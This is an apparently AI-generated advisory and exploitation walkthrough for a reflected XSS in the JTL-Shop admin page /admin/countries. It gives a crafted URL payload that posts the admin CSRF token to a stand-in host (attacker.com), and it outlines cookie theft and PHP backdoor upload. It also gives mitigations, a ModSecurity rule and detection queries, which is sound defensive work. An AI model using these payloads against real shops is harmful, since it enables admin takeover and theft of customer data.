CVE-2026-133941 — CWE-79
The country manager page of the JTL-Shop administration backend (/admin/countries) writes the request parameter activeSortOrder without output encoding into a single-quoted JavaScript string and into HTML attributes. The overview page requires no CSRF token. An unauthenticated remote attacker can thereby cause script code to be executed in the browser of a logged-in backend user who opens a crafted link in the same browser (the session cookie carries no SameSite attribute by default); the code runs with the privileges of that user and can use the backend token of the same page to send requests to the backend. Visitors and customers are not affected.
The country manager page of the JTL-Shop administration backend (/admin/countries) writes the request parameter activeSortOrder without output encoding into a single-quoted JavaScript string and into HTML attributes. The overview page requires no CSRF token. An unauthenticated remote attacker can thereby cause script code to be executed in the browser of a logged-in backend user who opens a crafted link in the same browser (the session cookie carries no SameSite attribute by default); the code runs with the privileges of that user and can use the backend token of the same page to send requests to the backend. Visitors and customers are not affected.
🎯 What is this vulnerability?
Vulnerability type – Reflected Cross‑Site Scripting (XSS) combined with a missing anti‑CSRF protection.
CWE – CWE‑79 (Improper Neutralization of Input During Web Page Generation).
Root cause –
The JTL‑Shop administration backend page /admin/countries reads the HTTP request parameter activeSortOrder and injects its raw value into two places:
1. Inside a single‑quoted JavaScript string that is later executed by the browser.
2. Inside an HTML attribute (e.g., data-sort-order="…").
No output‑encoding, HTML‑entity escaping, or JavaScript‑string escaping is performed.
The page also does not require a CSRF token for the request, meaning any attacker can trigger the vulnerable request from a victim’s browser without needing a valid token.
Consequences:
- An attacker can craft a URL that, when visited by a logged‑in backend user, injects arbitrary JavaScript that runs in the context of the admin interface.
- Because the admin session cookie is not set with the
SameSiteattribute, the browser will send the cookie with the malicious request, allowing the injected script to act as the authenticated admin. - The script can read the backend CSRF token that is rendered on the same page and use it to perform further privileged actions (e.g., create/modify products, export customer data, etc.) without additional user interaction.
- Network‑reachable (any remote attacker).
- Low attack complexity – only a crafted link is needed.
- No privileges required – attacker does not need to be logged in.
- User interaction required – victim must click/open the malicious link.
- High confidentiality & integrity impact – attacker can read/modify admin data.
- No availability impact – the bug does not cause denial‑of‑service.
The CVSS vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N) confirms:
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands and payloads are illustrative – the exact URI and parameter name are taken from the CVE description; if a vendor changes the name, the same technique applies.
1. Discovery & Reconnaissance
| Step | Activity | Tools / Evidence |
|---|---|---|
| 1.1 | Identify that the target runs JTL‑Shop (e.g., by checking the X-Powered-By: JTL-Shop header, default /admin path, or publicly visible shop footer). | Nmap, Wappalyzer, built‑in /admin login page. |
| 1.2 | Enumerate admin URLs (common JTL‑Shop admin paths: /admin, /admin/login, /admin/countries). | Dirbuster / gobuster with wordlist admin/. |
| 1.3 | Verify that the /admin/countries endpoint is reachable without authentication (the page itself redirects to login, but the parameter handling is performed before the auth check). | curl -I https://target.com/admin/countries → 302 → login page, but the server still processes query string. |
| 1.4 | Test for reflected XSS by injecting a harmless payload and observing the response. | curl "https://target.com/admin/countries?activeSortOrder=%27%3Cscript%3Ealert(1)%3C/script%3E" – look for <script>alert(1)</script> in the HTML/JS output. |
If the payload appears unescaped in the page source, the vulnerability is confirmed.
2. Exploitation
Goal: Execute arbitrary JavaScript in the admin’s browser and harvest the CSRF token.
2.1 Craft the malicious URL
Because the value is placed inside a single‑quoted JavaScript string, we need to break out of the quotes, inject our code, and then comment‑out the remainder. A reliable payload is:
https://target.com/admin/countries?activeSortOrder=';fetch('/admin/api/token').then(r=>r.text()).then(t=>fetch('https://attacker.com/steal?token='+encodeURIComponent(t),{method:'POST',mode:'no-cors'}));//Explanation:
'; – closes the original JS string and ends the statement. fetch('/admin/api/token')… – makes an internal request to obtain the CSRF token (the exact endpoint may differ; many JTL‑Shop admin pages embed the token in a hidden <input name="csrf_token">). https://attacker.com/steal. // – comments out any trailing characters that the original script may add.If the token is rendered directly in the page (e.g., <meta name="csrf-token" content="…">), the script can read it with document.querySelector('meta[name="csrf-token"]').content instead of an extra fetch.
2.2 Deliver the link to the victim
Because the admin’s session cookie lacks SameSite, the browser will automatically attach it to the request, authenticating the malicious script.
2.3 Optional: Auto‑execution via HTML injection
If the attacker can embed the URL in an <img src> or <iframe> tag that the admin’s browser loads automatically (e.g., in a newsletter), the user interaction requirement can be satisfied without a click.
3. Post‑exploitation
Once the malicious script runs:
| Action | How it is achieved | Result |
|---|---|---|
| Harvest CSRF token | document.querySelector('input[name="csrf_token"]').value (or fetch as shown). | Attacker now possesses a valid token tied to the admin’s session. |
| Perform privileged admin actions | Use fetch/XMLHttpRequest with the stolen token to call any admin endpoint (e.g., /admin/products/create, /admin/customers/export). | Confidential data (customer list, order history) can be read; integrity is compromised (products, prices, discounts can be altered). |
| Persist back‑door | Upload a malicious PHP file via the “Theme upload” or “Custom HTML” feature (if present) using the same token. | Long‑term remote code execution (RCE) on the server. |
| Session hijacking | Send the admin’s session cookie (document.cookie) to the attacker. | Full control of the admin UI without further XSS. |
Because the attack runs in the context of the admin UI, any action that the admin is authorized to perform can be automated, effectively giving the attacker full administrative control over the shop backend.
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS) | Practical consequences |
|---|---|---|
| Confidentiality (C) | High – attacker can read sensitive data (customer personal data, order details, payment information). | GDPR / PCI‑DSS violations, data breach notifications, loss of customer trust. |
| Integrity (I) | High – attacker can modify shop configuration, product pricing, discount rules, or inject malicious scripts into storefront pages. | Financial loss, fraud, reputation damage, potential distribution of malware to customers. |
| Availability (A) | None – the bug does not cause denial‑of‑service. | N/A |
Business‑level impact
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Apply vendor patch | The vendor released a security fix after 27 Nov 2026 that adds proper output encoding (htmlspecialchars for HTML attributes and json_encode/addslashes for JavaScript strings) and enforces a CSRF token on the /admin/countries endpoint. Upgrade to the first version that includes this fix. |
| Version check | If the exact version number is not disclosed publicly, verify the presence of the fix by inspecting the source of admin/countries.tpl (or the corresponding PHP controller) for proper escaping functions. |
2. Immediate Work‑arounds (if patch cannot be applied instantly)
| Mitigation | Implementation | |||
|---|---|---|---|---|
Add a strict Content‑Security‑Policy (CSP) that disallows inline scripts (script-src 'self') and only permits scripts from trusted origins. This mitigates reflected XSS even if the payload reaches the browser. | ``http\nContent-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';` | |||
Set SameSite=Strict (or at least Lax) on the admin session cookie to prevent the cookie from being sent with cross‑origin requests triggered by the malicious link. | In PHP: session_set_cookie_params(['samesite' => 'Strict', 'secure' => true, 'httponly' => true]); | |||
| Enforce HttpOnly & Secure flags on the admin session cookie. | Same as above, add 'httponly' => true, 'secure' => true. | |||
Deploy a ModSecurity rule that blocks unsanitized single‑quoted JavaScript injection in the /admin/countries request. Example rule (Apache/Nginx): | `apache\nSecRule REQUEST_URI "@beginsWith /admin/countries" "id:2026133941,phase:2,block,msg:'Reflected XSS in activeSortOrder',t:none,ctl:requestBodyProcessor=URLENCODED,chain"\nSecRule ARGS:activeSortOrder "(?i)(<script | %3cscript | javascript: | %3c%2fscript)" "t:none,deny,status:403"\n` |
Require a CSRF token on the /admin/countries endpoint (even for GET requests) and validate it server‑side. | Add a hidden token in the page and verify $_GET['csrf_token'] against the session token. | |||
Input validation – whitelist allowed values for activeSortOrder (e.g., ASC, DESC, numeric column IDs). Reject anything else with a 400 response. | `php\n$allowed = ['asc','desc','name','id'];\nif (!in_array($_GET['activeSortOrder'], $allowed, true)) { http_response_code(400); exit; }\n`` |
3. Detection
| Indicator | Log example | Comment |
|---|---|---|
Suspicious query string containing characters typical for XSS (<, >, ', ", %3c, %3e) on /admin/countries. | GET /admin/countries?activeSortOrder=';alert(1);// HTTP/1.1 | Look for %27, %3c, %3e, script in the query. |
Unexpected outbound requests from the admin server to attacker‑controlled domains (e.g., attacker.com/steal). | GET https://attacker.com/steal?token=... (status 200) | May be generated by the malicious script after token exfiltration. |
| CSRF token reuse – multiple admin actions within a short window that all use the same token extracted from a GET request. | POST /admin/products/create ... csrf_token=abcd1234 (repeated) | Could indicate automated abuse after XSS. |
| Browser console errors in admin UI (e.g., “Uncaught SyntaxError: Unexpected token ‘<’”) – can be correlated with user reports. | N/A (client‑side) | Useful for SOC analysts monitoring user‑reported UI glitches. |
SIEM rule (pseudo‑code)
SELECT *
FROM web_logs
WHERE uri_path LIKE '/admin/countries%'
AND (uri_query LIKE '%<script%' OR uri_query LIKE '%%3cscript%')
AND http_status = 200;⚠️ Urgency
Bottom line: The reflected XSS in
activeSortOrder combined with missing CSRF protection gives an unauthenticated attacker a reliable path to execute arbitrary JavaScript in the admin UI, harvest the admin CSRF token, and perform any privileged operation on the shop backend. Prompt patching, proper output encoding, CSRF enforcement, and defensive headers are mandatory to eliminate the risk.[🤖 CVE Professor AI Security Engine]